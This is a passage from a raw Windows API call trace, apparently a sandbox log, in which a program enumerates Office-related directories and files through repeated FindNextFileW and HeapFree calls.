ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0076.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.188] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0076.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.188] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0076.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.188] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0076.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.188] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0076.189] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.189] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0076.189] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.189] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0076.189] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.189] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0076.189] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0076.189] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0076.189] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0076.189] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.189] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0076.192] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.192] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0076.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.194] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0076.196] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.196] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0076.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.198] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0076.200] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.200] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0076.203] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0076.205] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.205] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0076.398] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.398] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0076.402] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.402] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0076.405] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.405] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0076.409] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.409] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0076.412] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.412] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0076.416] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.416] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0076.419] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.419] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0076.419] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0076.419] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.420] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0076.420] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.420] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0076.425] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.425] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0076.429] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.429] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0076.430] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0076.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.430] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0076.433] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.433] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0076.435] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0076.435] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0076.808] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.808] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0076.808] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.808] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0076.809] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.809] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0076.809] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0076.810] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.810] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0076.810] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0076.810] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.811] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0076.820] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.820] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0076.820] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0076.820] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0076.820] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0076.824] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0076.829] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | 